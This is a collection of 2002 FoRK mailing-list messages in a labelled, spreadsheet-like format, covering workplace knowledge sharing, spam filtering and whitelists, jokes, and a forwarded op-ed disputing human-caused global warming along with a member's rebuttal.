he said. ""I think this is the most exciting life I could have had."" http://www.nytimes.com/2002/07/23/science/space/23UNIV.html?ex=1028416223&ei=1&en=ff38ea5fac0c9158 HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company http://xent.com/mailman/listinfo/fork",0,1 Owen Byrne ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 10:02:42 -0300",Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate,"> > > The question then becomes, why is knowledge sharing such a difficult > thing in organizations? Is it, perhaps, not as difficult as the > grousers say? I mistrust the romantic, Rousseauian argument that man > is basically good but society basically corrupt, and that the later > stifles the natural altruistic impulses. After all, it's in society > that we share, as well as hoard. Is it that we think of ""The > Organization"" as a machine, and like the research subjects get less > neurological pleasure from cooperating with it than we would if it > were humanized? Or ...? > > > Well, IMNHO, its because companies do not reward knowledge sharers. When time comes for evaluation, there isn't a line on the page saying ""Helped others to succeed with their projects."" Sharing inevitably cuts into the time for personal productive work, and generally shows up as a red flag if your boss has a ""management by exception""(1) style. Owen 1. http://www.xrefer.com/entry/164669 http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,khare@alumni.caltech.edu,23 Jul 2002 11:53:02 -0400,Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate,"I wonder if the CEO dig also suggests proprietary software vendors may in fact be /physiologically/ sociopathic... damn, now I've just been defacto excluded from yet another well-paid subculture! it's just not my day. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,23 Jul 2002 12:25:33 -0400,Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate,">>>>> ""O"" == Owen Byrne writes: O> Well, IMNHO, its because companies do not reward knowledge O> sharers. When time comes for evaluation, there isn't a line on O> the page saying ""Helped others to succeed with their projects."" And yet, in my experience, it still happens, but always ""unofficially"" and ""off the record"". It's as if we believe that ""the gods"" will punish us if we are seen to have behaved in a human fashion while on company time, either by being caught red-handed, or having the paper-trail finger us later. Yet even CEOs will ""pull strings"" to make things happen, and, also in my experience, those are the moments when things actually do happen. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Tue, 23 Jul 2002 17:57:29 -0700",Re: HD/ID: High-Def Independence Day,"""SpamAssassin Killed My Independence Day Party"" With all the spam that gets through, I had no idea a filter was in effect at the FoRK listserv. Turn it off! It not only risks silent false positives, but suffers them in such a way that individuals cannot adjust/detect/remedy them. Also, anti-spam startups need end-users. Centralized spam fighting takes food out of those coders' mouths! I still think self-add whitelists are underrated. A FoRK whitelist would presumably start with all subscribers, and grow from there. Bouncing problem mail, in a way that humans can understand how to whitelist themselves for a resend, avoids the problem of silent failures without opening the door to lazy, forged-""from"" spammers. - Gordon ----- Original Message ----- From: ""Rohit Khare"" To: Sent: Tuesday, July 23, 2002 12:25 PM Subject: Re: HD/ID: High-Def Independence Day > On Sunday, June 30, 2002, at 12:18 AM, Rohit Khare wrote: > > You're all invited to join me for a South Bay Hi-Def spectacle at my > > apartment in Sunnyvale on the Fourth! > > So here's the final report on the HD/ID party. As no less than TEN > forkers pointed out, the invitation, while sent on Sunday 6/30, was only > delivered ten days later on 7/9. > > It got flagged as spam. > > Yes, on a mailing list awash in crap -- and some it is even unsolicited > commercial email, heavens! -- our trusty mailman filters captured and > quarantined just two posts that week, one from me that was > 100K (the > fat articles) and one that was bcc:d (the invite). > > Now, it was a little difficult to recalibrate self-esteem, which as you > can imagine was proportional to the two-digit attendance -- in binary! > > According to the George Washington documentary, I almost had as much > alcohol on hand than he did -- Virginia tradition being to copiously > lubricate each voter. Election day was a public festival day, and it > cost poor George an average of SIXTY-FOUR shots of hard liquor PER VOTER > that day... > > So, herewith is the prize for most appropriate flame my delayed invite > got: > > > I unfortunately will have had other plans and thus will > > not be able to have made it. Yes. > > > > -faisal > > One of our competitors added: > > Wow - I just got this now - I guess that was KnowLate! > > And there is no prize for guessing which cold, dark forks emitted these > two plaints: > > From Whiny Dwarf: > > Fix your mail server! just a bit late! > > And Angry Dwarf: > > God DAAAAAMMMMMNNNNN IIIIITTT! I didn't see your message until now! > > Fuck! Fuck! Fuck! > > > > We would have been there if I had seen the message before. Kuso! (as > > the Japanese would say). > > > > Fuck. > > Fuck. > > Fuck. > > Fuck. > > Fuck. > > Fuck. > > Perhaps I should remind the latter gently that it was not in any way his > fault. The universe *was* out to get him! > > And finally, here's an object lesson for all ye of little faith to learn > from my sins: > > > SpamAssassin rated it spam (barely). Gotta stop > > using those ""words and phrases which indicate porn"" :-) > > Yes, boys and girls, Mr. Assassin, like Mr. Lott, gets very annoyed if > you call the Great American Shrine a... ""boob tube"" > > :-) > Rohit > > PS. This is the obscure footnote where I actually hide the bits in this > post. What we just encountered here is that an event-processing system > with a 10-day RTT cannot be used to reliably handle events more often > than once every 20 days. That's why I waited to reply. six bonus points > to anyone who can prove this hunch of mine. Hint: try analyzing the > problem in frequency-domain. > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Rohit Khare ,"Tue, 23 Jul 2002 18:50:53 -0700",Re: HD/ID: High-Def Independence Day,"Rohit Khare wrote: > Yes, on a mailing list awash in crap -- and some it is even unsolicited > commercial email, heavens! -- our trusty mailman filters captured and > quarantined just two posts that week, one from me that was > 100K (the > fat articles) and one that was bcc:d (the invite). Wait... I didn't think we had any filters set up on FoRK. Kragen, do you know of any? I personally have FoRK delivered to an address (napier%waste.org) that has SpamAssassin enabled, agressively, where it just nukes anything it thinks is spam. Usually I figure if I miss a FoRK post, no big deal, I'll pick it up by the replies if it's interesting. For personal mail (joe%barrera.org) I either don't use SpamAssassin, or use it but where it just flags messages instead of nuking them. So if someone is sending a message just to me, I'll get it even if it looks like spam. So in other words, Rohit, if you had sent to joe%barrera.org, I guess I would have received it in a timely fashion. So where's all that booze? When's the retry? Every robust protocol needs a retry strategy -- what's yours? - Joe the Angry Dwarf P.S. Ain't no dwarf. http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,harley@argote.ch (Robert Harley),23 Jul 2002 22:35:56 -0400,Re: My brain hurts,"You're in luck because my mom sends these all the time and I never have anything else to do with them ... An old man lived alone in Minnesota. He wanted to spade his potato garden, but it was very hard work. His only son, who would have helped him, was in Prison. The old man wrote a letter to his son and mentioned his predicament. Shortly, he received this reply, ""For heaven's sake Dad, don't dig up that garden, that's where I buried the GUNS!"" At 4 A.M. the next morning, a dozen police showed up and dug up the old man's entire garden, without finding any guns. Confused, the old man wrote another note to his son telling him what happened, and asking him what to do next. His son's reply was: ""Now plant your potatoes, Dad. It's the best I could do at this time."" but better than that, just settle into this, courtesy of daypop: http://xroads.virginia.edu/~UG02/yeung/actioncomics/cover.html -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Tom ,Robert Harley ,"Tue, 23 Jul 2002 23:30:55 -0400 (EDT)",Re: My brain hurts,"On Wed, 24 Jul 2002, Robert Harley wrote: --]Working too hard... --] --]Someone tell me a joke, or email me a beer or something... You asked for it.... Ladies and Gentlebeans....its time now for Shlepy Shlepman and Frenchy along with there all groan reviews..... Shlepy> Heya heya heya ..I just flew in from defcon and boy are my ports tierd.....waka waka Frenchie>Des Amricains, je vous dteste et tous que vous reprsentez. Vous tes des porcs. Shlepy>Say Frenchie, how do you castrate a frenchmen??? Frenchie>Est-elle cette une autre mauvaise plaisanterie? Je ne sais pas, satisfaire vous rends ce drole singe global d'ane. Shlepy>You kick his sister in the jaw. Frenchie>Je suis dans l'enfer. Shelpy>Dont he speak funny folks? yep them French are mighty bizzare. They do things very differently over there. For instace you know why they dont have fireworks at Euro Disney? Frenchie> Puisque nous soufflerions plutt nos ttes outre de qu'observe un infrieur brut classer la clbration amricaine? Shlepy>What ever ya said, nope..Because every time they shoot them off, the French try to surrender. Frenchie>Etant donn le choix entre les Allemands et vous que je nettoierais heureusement versez les stalles dans les camps alors doivent aller vos parcs d'amusement. Shlepy> Aint he the continental one....Speaking of global politics....Three guys, an Englishman, a Frenchman and an American are out walking along the beach together one day. They come across a lantern and a genie pops out of it. ""I will give you each one wish, "" says the genie. The American says, ""I am a farmer, my dad was a farmer, and my son will also farm. I want the land to be forever fertile in America."" With a blink of the genie's eye, 'FOOM' - the land in America was forever made fertile for farming. The Frenchman was amazed, so he said, ""I want a wall around France, so that no one can come into our precious country."" Again, with a blink of the Genie's eye, 'POOF' - there was a huge wall around France. The Englishman asks, ""I'm very curious. Please tell me more about this wall. The Genie explains, ""Well, it's about 150 feet high, 50 feet thick and nothing can get in or out."" The Englishman says, ""Fill it up with water."" Fenchie>Plutt nous devrions nous noyer que mangent la cuisine anglaise. Shlpey> Them French, you dont know what they are on about but damn it sure sounds romantic. And you knwo they are great lovers those french are. A psychology professor decided to study the way in which different people from different parts of Europe have sex with sheep. He traveled first to Wales, where he asks a farmer to explain his method: ""Well, boyo, I put her back legs down my nice green wellies, grab her with me velcro gloves, and we're well away. Tidy!"" The professor tries Scotland next ""Hoots an' toots man, I put her back legs down my nice green wellies, grab her with me velcro gloves, and we're well away. Och aye tha noo!"" The professor moves on to Germany: ""Well, I find the most efficient way is to grab her with my velcro gloves, and we're well away. The professor is noticing a pattern developing, so he decides to try France, and then end his investigation. He stops a bloke by the Eiffel tower named Pierre, and asks him to explain the French method: ""Well monsieur, I put her back legs down my nice green wellies, sling her front legs over me shoulders, and that's all there is to it!"" The professor is excited to have found some national variation and tells Pierre that this is different to the methods of the Scots, Welsh and Germans. ""How do they do it then?"" asks Pierre, and the professor explains. Pierre on hearing the explanation walks of disgusted. ""What! No kissing?"" Frenchie>Voil. J'ai stopp. Shlepy> Hey, where you going with the sheep, we need them for the next act.... A little traveling music maestro. -tomwsmf http://xent.com/mailman/listinfo/fork",0,1 Wayne E Baisley ,Robert Harley ,"Tue, 23 Jul 2002 22:36:02 -0500",Re: My brain hurts,"Perhaps it's time to revisit ... http://www.engrish.com/recentdiscoveries.html ""evirob"" is the essence of weird life. http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Tue, 23 Jul 2002 23:22:04 -0400","""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","At 5:47 PM -0700 on 7/23/02, Joseph S. Barrera III wrote: > And the pirate says, ""Aaar, its driving me nuts!"" I can do better pirate jokes than *that*. Like, what's the 18th letter of the Pirate alphabet? No? Okay, a pirate koan then. What's the sound of a pirate clapping? :-). Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 Mike Masnick ,"""Gordon Mohr"" , ","Tue, 23 Jul 2002 23:11:33 -0700","Re: Mossberg on 'ChoiceMail': ""In my tests, it cut my spam to zero.""","At 10:46 PM 7/23/02 -0700, Gordon Mohr wrote: >Surprised this wasn't already passed through here: about a >week and a half ago, Walter Mossberg reviewed ChoicEMail, >a spam-fighting tool where new, unknown senders have to >request passage through your whitelist-based mailwall. Lately, a fairly large % of the spam I've been getting has been coming from spam systems that forge my own address as the ""from"" address... Those spam messages would get through any whitelist I set up (especially since I email stuff to myself all the time). If whitelists become more popular, I imagine spammers will resort to doing that for the majority of their spams, making whitelists less helpful. Plus, I'm still not sure how I feel about whitelists. I don't think I'm so special that people should need to fill out a special form just to send me email. I could see certain friends of mine getting fairly annoyed (especially those with multiple email addresses...). -Mike http://xent.com/mailman/listinfo/fork",0,1 CDale ,Gary Lawrence Murphy ,"Wed, 24 Jul 2002 03:12:20 -0500 (CDT)",Re: My brain hurts,"I have a similar one: Bubba calls up the DEA and tells em that JoeBob is growing pot and hiding it in his back yard. They go over, find nothing, and go ask Bubba what he was talking about. Bubba tells em it's in JoeBob's woodpile. So they go chop up all the wood and look through it and scatter it all over the yard, but find nothing. They ask Bubba again, and he tells them that JoeBob must have already sold it, so they leave. Bubba calls up JoeBob: Bubba: You get your wood chopped?' JoeBob: Yep, thanks, I'll give ya 15 bucks tomorrow. (: sillyhead On 23 Jul 2002, Gary Lawrence Murphy wrote: > > You're in luck because my mom sends these all the time and I never > have anything else to do with them ... > > An old man lived alone in Minnesota. He wanted to spade his potato garden, > but it was very hard work. > His only son, who would have helped him, was in Prison. The old man wrote > a letter to his son and mentioned his predicament. > Shortly, he received this reply, ""For heaven's sake Dad, don't dig up that > garden, that's where I buried the GUNS!"" > At 4 A.M. the next morning, a dozen police showed up and dug up the old > man's entire garden, without finding any guns. > Confused, the old man wrote another note to his son telling him what > happened, and asking him what to do next. > His son's reply was: ""Now plant your potatoes, Dad. It's the best > I could do at this time."" > > but better than that, just settle into this, courtesy of daypop: > http://xroads.virginia.edu/~UG02/yeung/actioncomics/cover.html > > -- ""My theology, briefly, is that the universe was dictated but not signed."" (Christopher Morley) http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Mike Masnick ,"Wed, 24 Jul 2002 11:49:30 +0200 (CEST)","Re: Mossberg on 'ChoiceMail': ""In my tests, it cut my spam to zero.""","On Tue, 23 Jul 2002, Mike Masnick wrote: > Lately, a fairly large % of the spam I've been getting has been coming > from spam systems that forge my own address as the ""from"" address... Include a random token with an expiration date with anything you send. Valid whitelisting of From:you@here.net yet invalid random token would get blocked. > Those spam messages would get through any whitelist I set up > (especially since I email stuff to myself all the time). If > whitelists become more popular, I imagine spammers will resort to > doing that for the majority of their spams, making whitelists less > helpful. Spammers cannot be bothered to keep track if individual whitelists associated with a given email address. > Plus, I'm still not sure how I feel about whitelists. I don't think I'm so > special that people should need to fill out a special form just to send me Of course you populate your whitelist with contents of your inbox minus spam, and then add manually stuff from your addressbook. > email. I could see certain friends of mine getting fairly annoyed > (especially those with multiple email addresses...). What's the point of multiple email addresses? They're a pain. http://xent.com/mailman/listinfo/fork",0,1 yyyy@spamassassin.taint.org (Justin Mason),Rohit Khare ,"Wed, 24 Jul 2002 12:04:01 +0100",Re: HD/ID: High-Def Independence Day,"Rohit Khare said: > > SpamAssassin rated it spam (barely). Gotta stop > > using those ""words and phrases which indicate porn"" :-) > Yes, boys and girls, Mr. Assassin, like Mr. Lott, gets very annoyed if > you call the Great American Shrine a... ""boob tube"" Er, patches gratefully accepted ;) --j. -- 'Justin Mason' => { url => 'http://jmason.org/', blog => 'http://taint.org/' } http://xent.com/mailman/listinfo/fork",0,1 yyyy@spamassassin.taint.org (Justin Mason),Eugen Leitl ,"Wed, 24 Jul 2002 12:15:17 +0100","Re: Mossberg on 'ChoiceMail': ""In my tests, it cut my spam to zero.""","Eugen Leitl said: > Spammers cannot be bothered to keep track if individual whitelists > associated with a given email address. But it's a good bet that jm /at/ jmason.org, or someone-else /at/ jmason.org, is in jm /at/ jmason.org's whitelist. > Of course you populate your whitelist with contents of your inbox minus > spam, and then add manually stuff from your addressbook. all I can read there is ""manual""... --j. -- 'Justin Mason' => { url => 'http://jmason.org/', blog => 'http://taint.org/' } http://xent.com/mailman/listinfo/fork",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""R. A. Hettinga"" ","Wed, 24 Jul 2002 12:23:54 +0100","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","how's about the String Joke? A piece of string and his friend walks into a bar. The barman says ""sorry, we don't serve string here"". String & friend walk out (grumbling). String asks friend ""listen, could you tatter my ends and tie me up?"" Friend obliges, and they return; barman says ""aren't you that piece of string I threw out?"" ""No, I'm a frayed knot."" --j. http://xent.com/mailman/listinfo/fork",0,1 Win Treese ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 14:55:45 -0400",Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate,"> > Tom said: > > > > The question then becomes, why is knowledge sharing such a difficult > > thing in organizations? And Owen replied: > Well, IMNHO, its because companies do not reward knowledge sharers. When I don't work in this area, but I have a suspicion that many people suspect projects for ""knowledge management"" and ""knowledge sharing"" as attempts to eliminate their jobs, or at least their importance. If ""the organization"" knows all the things I know, why does it need me? This should actually be easy to test experimentally: compare the results of having someone call up and say, ""Can you show us how to do X for this project we're working on?"" with those of having someone summoned by a knowledge management project to explain how to do X for the knowledge archives. - Win http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Tue, 23 Jul 2002 15:05:50 -0400",Just Ask the Experts,"A little tidbit for those who still believe in science by opinion poll... Cheers, RAH http://www.techcentralstation.com/1051/printer.jsp?CID=1051-072302B Just Ask the Experts By Sallie Baliunas and Willie Soon 07/23/2002 In 2001 the National Science Foundation surveyed 1,500 people nationwide and found that 77% believed that ""increased carbon dioxide and other gases released into the atmosphere will, if unchecked, lead to global warming ..."" Yet half of those polled believed that humans and dinosaurs co-existed on Earth, despite the scientific fact that the dinosaurs went extinct tens of millions of years before the earliest hominids appeared. Worse, only 22% of the respondents understood what a molecule - for example, carbon dioxide - is. As in the case of the belief by many that dinosaurs and early humans co-existed, public opinion does not change the actual facts about the material world. Such a poll measures nothing more than the degree of public ignorance about scientific matters. Most people get news stories about science and technology developments from television. And after more than a decade of being fed what-if stories about global warming from human activities, no wonder most people ""believe"" that global warming ""will"" occur. However, on the anxiety scale, only 33% ""worry a great deal"" about global warming, a worry that ranks at 12 out of 13 environmental concerns. The top environmental fear, shared by 64% of those polled, was polluted drinking water. So What Do We Know? Concerning the latest understanding on human-made global warming, here are three points we know from the science: 1. The surface record of temperature from thermometers show widespread warming in the 20th century compared to the 19th. There was one period of warming early in the 20th century, the second after the 1970s. Ecosystems have responded to this widespread warmth, not seen since ca. 800 - 1200 C.E. But the cause of global surface warming cannot be associated with human activity without additional information. Some media reports point to ecosystem responses of 20th century warmth (e.g., mountain glacier retreat) and unjustifiably claim the responses owe to man-made causes. But mountain glaciers receded during the past period of warmth around 1,000 years ago, and advanced during the unusual cold of the Little Ice Age (ca. 1300 - 1900 C.E.). Both those climate shifts occurred naturally, before the increased concentration of human-made greenhouse gases in the air. # All computer simulations of climate say that in order to conclude that the surface global warming trend is human caused, the surface warmth must be accompanied by an equal or larger warming trend in the air from one to five miles in height. Measurements made by satellites and verified from weather balloons show no meaningful human-made warming trend over the last two or even four decades. Thus, the recent warming trend in the surface temperature record cannot be caused by the increase of human-made greenhouse gases in the air. # The computer simulations are not reliable as tools for explaining past climate or making projections for future trends. Future Shock: The Scenarios When it comes to future scenarios, consider what the experts actually say about potential climate change. The United Nations Intergovernmental Panel on Climate Change writes in its Special Report on Emissions Scenarios (2000), ""Scenarios are images of the future or alternative futures. They are neither predictions nor forecasts."" Further, ""The possibility that any single emissions path will occur as described in the scenario is highly uncertain,"" and finally, ""No judgement is offered in this Report as to the preference for any of the scenarios and they are not assigned probabilities of occurrence, neither must they be interpreted as policy recommendations."" Forecasting future societal conditions and energy use often amount to little more than unconvincing guesses. Jesse Ausebel at Rockefeller University in April 2002 critiqued the U.N. IPCC's "" ... 40 energy scenarios, with decarbonization, or carbonization, sloping every which way and no probabilities attached. ... It is a confession that collectively they know nothing, that no science underlies their craft, and that politics strongly bias their projections."" Nonetheless, such a guess about the world's energy future forms the first step in making a 100-year prediction of global warming. That first uncertain forecast - future energy use - used as input in the climate simulation surely compounds the uncertainty in the next step, the climate forecast. Inability to predict the future should not be surprising. The climate simulations upon which predictions are based yield unreliable results because, as outlined above, the results are incompatible with measurements of how the climate has changed in the last few decades. Complete Speculation On May 24, 1994, Richard Lindzen, the Alfred P. Sloan Professor of Meteorology at MIT, testified to the Senate Committee on Energy and Natural Resources, ""The claims about catastrophic consequences of significant global warming, should it occur at all, are almost completely speculative. Not only are they without any theoretical foundations, but they frequently involved assuming the opposite of what appears to happen."" Despite years of solid work by climate specialists, the output of computer simulations remains undependable, owing to the extraordinary complexity of the natural world. Thus, on May 1, 2001 Lindzen testified to the Senate Commerce Committee about the long-standing inability of computer simulations to deliver results that resemble reality, even in the cases where good measurements are available: ""For example, there is widespread agreement [among climate scientists] ... that large computer climate models are unable to even simulate major features of past climate such as the 100 thousand year cycles of ice ages that have dominated climate for the past 700 thousand years, and the very warm climates of the Miocene [23 to 5 million years ago], Eocene [57 to 35 million years ago], and Cretaceous [146 to 65 million years ago]. Neither do they do well at accounting for shorter period and less dramatic phenomena like El Ninos, quasi-biennial oscillations, or intraseasonal oscillations - all of which are well documented in the data, and important contributors to natural variability."" Lindzen explained the failure of computer simulations simply in May 2000: ""The point I am making is that it is a fallacious assumption that the models have everything in them, and will display it, and somehow the rest is just technical uncertainty. There are things they literally don't have."" This punctuates the popular notion that averaging output from computer results will somehow, miraculously, give a scientifically appropriate result. Think Locally Now, on top of the unreliable forecasts of global warming -- which rest on ""highly uncertain"" forecasts of future economic and social conditions and un-validated climate simulations -- come the forecasts of local impacts, in order to make the case for relevancy to people. Increased storminess is one prediction of the outcome of human-made global warming found in the popular media, which would be where most people learn about the issue. The idea that storminess increases with human-made global warming defies expert opinion. David Legates, an expert hydrology researcher, testified in the Senate Committee on Environment and Public Works on March 13, 2002: ""Ascertaining anthropogenic changes to these extreme weather events is nearly impossible. Climate models cannot even begin to simulate storm-scale systems, let alone model the full range of year-to-year variability... Clearly, claims that anthropogenic global warming will lead to more occurrences of droughts, floods, and storms are wildly exaggerated."" The U.N. IPCC Third Assessment Report concurs, ""[T]here is currently insufficient information to assess recent trends, and climate models currently lack the spatial detail required to make confident projections. For example, very small-scale phenomena, such as thunderstorms, tornadoes, hail and lightning, are not simulated in climate models (Summary for Policymakers, p. 15)."" A group of extremely relevant experts, the American Association of State Climatologists, recently summarized the state of climate simulations: ""Climate prediction is complex with many uncertainties ... For time scales of a decade or more, understanding the empirical accuracy of such predictions - called ""verification"" - is simply impossible, since we have to wait a decade or longer to assess the accuracy of the forecasts. ... climate predictions have not demonstrated skill in projecting future variability and changes in such important climate conditions as growing season, drought, flood-producing rainfall, heat waves, tropical cyclones and winter storms. These are the type of events that have a more significant impact on society than annual average global temperature trends."" On the facts of human-made global warming, should one believe television or the experts? -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Win Treese , fork@spamassassin.taint.org","Tue, 23 Jul 2002 15:20:20 -0400",Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate,"At 2:55 PM -0400 on 7/23/02, Win Treese wrote: > This should actually be easy to test experimentally: compare the results > of having someone call up and say, ""Can you show us how to do X for this > project we're working on?"" with those of having someone summoned by a > knowledge management project to explain how to do X for the knowledge > archives. About the only way I've heard of something like this working was back in the Eighties, when management poster-child QuadGraphics used to have the maxim ""you can't get promoted unless you teach someone your job"". That might do the trick, though I don't know what happened to QuadGraphics... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 Owen Byrne ,"""R. A. Hettinga"" ","Tue, 23 Jul 2002 17:30:41 -0300",Re: Just Ask the Experts,"R. A. Hettinga wrote: >A little tidbit for those who still believe in science by opinion poll... > >Cheers, >RAH > > Was there any science in there? All I saw was more of the ""myth of the liberal media."" Every opinion supporting global warming was ""the media"", every opinion against it was an ""expert."" A brief perusal of the rest of the web site and I'm left wondering where the science is. And, to put on my extremist hat, every organization or scientist in there was American. Big deal - a bunch of scientists being trotted out to support government and industrial policy that is the ultimate source of their livelihood and research money. If the government changes their mind on Kyoto, they'll trot out another group of tame scientists. And all the American papers will switch back to warning us about climate change. Owen http://xent.com/mailman/listinfo/fork",0,1 JTS - MCDLXXXVI ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 16:42:33 -0400",Re: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate,"From: Win Treese > And Owen replied: > > Well, IMNHO, its because companies do not reward knowledge sharers. > > I don't work in this area, but I have a suspicion that many people > suspect projects for ""knowledge management"" and ""knowledge sharing"" as > attempts to eliminate their jobs, or at least their importance. If ""the > organization"" knows all the things I know, why does it need me? I agree wholeheartedly. It is easier to sit on knowledge than to continually acquire more on the frontiers. > This should actually be easy to test experimentally: compare the results > of having someone call up and say, ""Can you show us how to do X for this > project we're working on?"" with those of having someone summoned by a > knowledge management project to explain how to do X for the knowledge > archives. This is in fact very true. People hate doing this for several reasons in my experience: 1) ""Software changes. Why waste time writing a FAQ now that will be out of date at the next release in 3 months?"" 2) ""This knowledge is specialized. Only 4 people need to know this, and they already do. If anyone else needs to know it they know who they can call."" The same engineers who give these excuses will spend eternities on the phone discussing this arcana and sharing the knowledge with anyone who has the patience to ask. The strongest contributors freely share everything they know whenever asked (or whenever they see the need for the information in the company) and who at the same time continue to generate new knowledge. Personal evaluation: my worth comes slightly lower on the scale in that I synthesize the knowledge from various personal sharing exercises into usable documents and messages for the company to employ. This would seem like a marketing exercise except that Marketing is useless. Useful knowledge sharing comes (IMHO) from engineering and sales. JTS http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 15:05:48 -0700",Re: [Baseline] Raising chickens the high-tech way,"> It also strikes me that it will not be very long before livestock is > genetically engineered to be dumber and meatier, and better adapted to > living in industrial conditions. If we're willing to count artificial selection as genetic engineering, it has been happening since pre-literate times, and is called ""domestication"". -Dave > ""When the truck leaves Arkansas, the invoice leaves via the U.S. mail > and they both arrive at about the same time,"" Collins says. ""If our > receiving clerks could sign onto the network and do an electronic > handshake with the driver-you're over an item on this case, that case > was damaged-we're all in agreement, and then Tyson could send a clean > invoice about which there is no dispute."" I can see the value to a system which guaranteed that the truck would show up with all items as ordered -- but if there's going to be spoilage anyway, I don't see how much value that ""clean"" invoice provides -- just think about the costs of reliable networks versus reliable protocols on unreliable ones. If the trucks are unreliable, then the sticky pads seem like the clear winner for return on IT capital investment. http://xent.com/mailman/listinfo/fork",0,1 Karl Anderson ,Dave Long ,23 Jul 2002 16:00:18 -0700,Re: [Baseline] Raising chickens the high-tech way,"Dave Long writes: > > It also strikes me that it will not be very long before livestock is > > genetically engineered to be dumber and meatier, and better adapted to > > living in industrial conditions. > > If we're willing to count artificial > selection as genetic engineering, it > has been happening since pre-literate > times, and is called ""domestication"". But we're not willing to count it, I hope, since it isn't, any more than natural selection is genetic engineering. -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,fork@spamassassin.taint.org,23 Jul 2002 18:49:35 -0400,Re: [Baseline] Raising chickens the high-tech way,"On Tue, 2002-07-23 at 19:00, Karl Anderson wrote: > Dave Long writes: > > > > It also strikes me that it will not be very long before livestock is > > > genetically engineered to be dumber and meatier, and better adapted to > > > living in industrial conditions. > > > > If we're willing to count artificial > > selection as genetic engineering, it > > has been happening since pre-literate > > times, and is called ""domestication"". > > But we're not willing to count it, I hope, since it isn't, any more > than natural selection is genetic engineering. It's quite a bit more than natural selection; the times had a fascinating article a few months back (possibly posted as bits here) that note that one Holstein bull who died in the 70s is paternally related to something like 40% of the world's cattle. That's way, way more than natural selection, and (given the difficulty and expense of isolating specific genes for size, industrial-living-ness, etc.) more expansive than raw gene manipulation will be for some time. Luis http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 24 Jul 2002 00:48:02 +0200 (CEST)",My brain hurts,"Working too hard... Someone tell me a joke, or email me a beer or something... TIA, Rob. .-. Robert.Harley@argote.ch .-. / \ .-. Software Development .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' ArgoTech `-' \ / `-' http://argote.ch/ `-' http://xent.com/mailman/listinfo/fork",0,1 Ian Andrew Bell ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 16:08:53 -0700",Re: My Brain Hurts,"Begin forwarded message: > From: Ian Andrew Bell > Date: Tue Jul 23, 2002 02:02:20 PM US/Pacific > To: foib@ianbell.com > Subject: @F: [GENERAL] Evil Polling > > I know you're sitting there asking yourself, ""who is the most evil > person on the planet?"". Wonder no more, your local search engine > will tell you. Just search for the phrase +"" is EVIL"" and > let the internet tell you the real truth. I used two engines to > verify accuracy. > > Phrase: Google Hotbot > +""Bert is EVIL"" 14700 5100 > +""Microsoft is EVIL"" 1730 1600 > +""Saddam Hussein is EVIL"" 98 100 > +""Ernie is EVIL"" 75 69 > +""Osama Bin Laden is EVIL"" 61 72 > +""Janet Reno is EVIL"" 44 19 > +""George Bush is EVIL"" 39 17 > +""Canada is EVIL"" 19 82 > +""George W. Bush is EVIL"" 22 21 > +""Tony Blair is EVIL"" 11 12 > +""Adolf Hitler is EVIL"" 1 